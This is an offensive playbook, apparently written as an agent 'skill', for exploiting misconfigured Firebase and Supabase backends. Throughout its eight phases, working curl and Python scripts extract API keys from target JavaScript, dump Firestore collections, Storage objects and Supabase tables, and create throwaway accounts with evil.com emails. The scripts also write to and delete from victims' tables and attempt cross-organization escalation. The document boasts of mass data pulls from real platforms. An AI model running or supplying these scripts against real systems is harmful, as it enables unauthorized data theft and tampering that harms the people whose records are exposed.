Firebase Supabase Attack

Firebase & Supabase Attack Skill

Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).

When to Use

• JavaScript bundle analysis reveals Firebase config (apiKey, projectId) or Supabase URL + anon key.
• Target uses a modern SPA (React, Vue, Angular) with BaaS backend.
• After js-secrets-extraction finds Firebase/Supabase identifiers.
• After source-leak-hunt finds .env with FIREBASE_* or SUPABASE_* variables.

Prerequisites

• terminal with curl, python3, jq.
• Firebase project ID or Supabase URL + anon key (from JS bundle, source leak, or recon).
• For Firebase SA key exploitation: python3 with google-auth library.

How to Run

# Firebase Firestore — list collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"

# Supabase — list users table (if RLS missing)
curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \
  -H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"

# Supabase — test signup (if open)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
  -H "apikey: ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test@evil.com","password":"Test123!"}'

Quick Reference

Procedure

Phase 1 — Extract Configuration from JS Bundles

TARGET="$1"
OUTDIR="$OUTDIR/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"

# Download homepage and common JS entry points
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null

echo "[*] Extracting Firebase/Supabase configs..."

# Firebase config pattern
grep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

# Supabase config pattern
grep -Eo 'supabase\.co[^"''' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

Phase 2 — Firebase Firestore Exploitation

PROJECT_ID="$1"  # e.g., delivery-bot-platform

echo "[*] Firestore enumeration for $PROJECT_ID"

# List root collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
  python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    if 'documents' in data:
        print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
    else:
        for k in data.keys():
            print(f'Collection: {k}')
except Exception as e:
    print(f'Error: {e}')
    print(sys.stdin.read()[:500])
" 2>/dev/null

# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)

Phase 3 — Firestore Collection & Document Access

PROJECT_ID="$1"
COLLECTION="$2"  # e.g., conversationsV3, users, stores

echo "[*] Accessing collection: $COLLECTION"

# List documents in collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'Documents found: {len(data[\"documents\"])}')
    for doc in data['documents'][:5]:
        name = doc['name'].split('/')[-1]
        fields = doc.get('fields', {})
        # Extract top-level fields
        keys = list(fields.keys())[:10]
        print(f'  {name}: {keys}')
    if len(data['documents']) > 5:
        print(f'  ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null

# Read a specific document
DOC_ID="$3"  # from the listing above
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
  python3 -m json.tool 2>/dev/null | head -50

Phase 4 — Firebase Auth Signup & Token Generation

API_KEY="$1"  # from JS bundle (web API key)
PROJECT_ID="$2"

echo "[*] Testing Firebase Auth signup on $PROJECT_ID"

# Sign up
SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')

if echo "$SIGNUP_RESP" | grep -q "idToken"; then
  echo "[+] SIGNUP OPEN — account created!"
  ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
  echo "  ID Token: ${ID_TOKEN:0:50}..."

  # Now use this token with Firestore
  echo "[*] Testing Firestore access with ID token..."
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
    print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
    print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"
fi

Phase 5 — Firebase Storage Enumeration

PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com"  # default bucket name

echo "[*] Storage enumeration for $BUCKET"

# List objects (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
    total = len(data['items'])
    total_size = sum(int(i.get('size', 0)) for i in data['items'])
    print(f'Objects: {total} ({total_size:,} bytes)')
    for item in data['items'][:5]:
        print(f'  {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
"

# Download a specific file
OBJECT_NAME="$2"  # from listing
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
  -o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"

Phase 6 — Supabase REST API Exploitation

SUPABASE_URL="$1"  # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2"       # from JS bundle

echo "[*] Supabase REST API enumeration"

# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
        "orders" "products" "reports" "relatorios" "documents" "files"
        "messages" "conversations" "sessions" "audit_logs")

for table in "${TABLES[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    count=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
      -H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)')
    echo "  [TABLE] $table — HTTP 200 (${count:-?} rows)"

    # Fetch first 3 rows
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \
      python3 -m json.tool 2>/dev/null | head -20
    echo ""
  elif [[ "$code" == "401" || "$code" == "403" ]]; then
    echo "  [BLOCKED] $table — HTTP $code (RLS protected)"
  fi
done

Phase 7 — Supabase CRUD Testing (RLS Bypass)

SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3"  # from table discovery above

echo "[*] CRUD testing on $TABLE"

# INSERT
echo -n "  INSERT: "
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# UPDATE (PATCH)
echo -n "  UPDATE: "
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_updated"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# DELETE
echo -n "  DELETE: "
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Prefer: return=minimal" \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

Phase 8 — Supabase Auth Signup

SUPABASE_URL="$1"
ANON_KEY="$2"

echo "[*] Supabase Auth signup test"

SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')

if echo "$SIGNUP_RESP" | grep -q "access_token"; then
  echo "[+] SIGNUP OPEN!"
  ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
  echo "  Access Token: ${ACCESS_TOKEN:0:50}..."

  # Test cross-org access (change organization_id in profile)
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
    -H "Content-Type: application/json" -H "Prefer: return=representation" \
    -d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
  echo "  [*] If the above returned data for org_id=1, cross-organization access works"
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"
fi

Pitfalls

• Anon key is NOT a secret. It's designed to be public. The vulnerability is missing RLS, not the key exposure itself.
• Firestore rules may allow reads but not writes. Test SELECT, INSERT, UPDATE, DELETE separately.
• Supabase RLS may protect some tables but not others. Test every table independently.
• Firebase Auth signup may require email verification. Check if the app auto-confirms emails (many do).
• Rate limiting on Firestore REST API. Spread requests 0.5-1s apart for large extractions.
• API key in JS bundle may be truncated/redacted. The key string visible in the minified bundle may show AIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.
• Firebase project may not be deployed. The Firebase project ID (e.g., medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.

Verification

• Firebase Firestore: MUST list collections/documents without authentication (no Authorization header).
• Supabase REST: MUST return HTTP 200 with data rows using only the anon key (no user JWT).
• Supabase CRUD: MUST confirm at least one write operation (INSERT/UPDATE/DELETE) succeeds.
• Firebase Auth signup: MUST return idToken or access_token in the response.
• Firebase Storage: MUST list objects without authentication.
• Document all accessible data: collection/table names, row counts, sensitive fields exposed.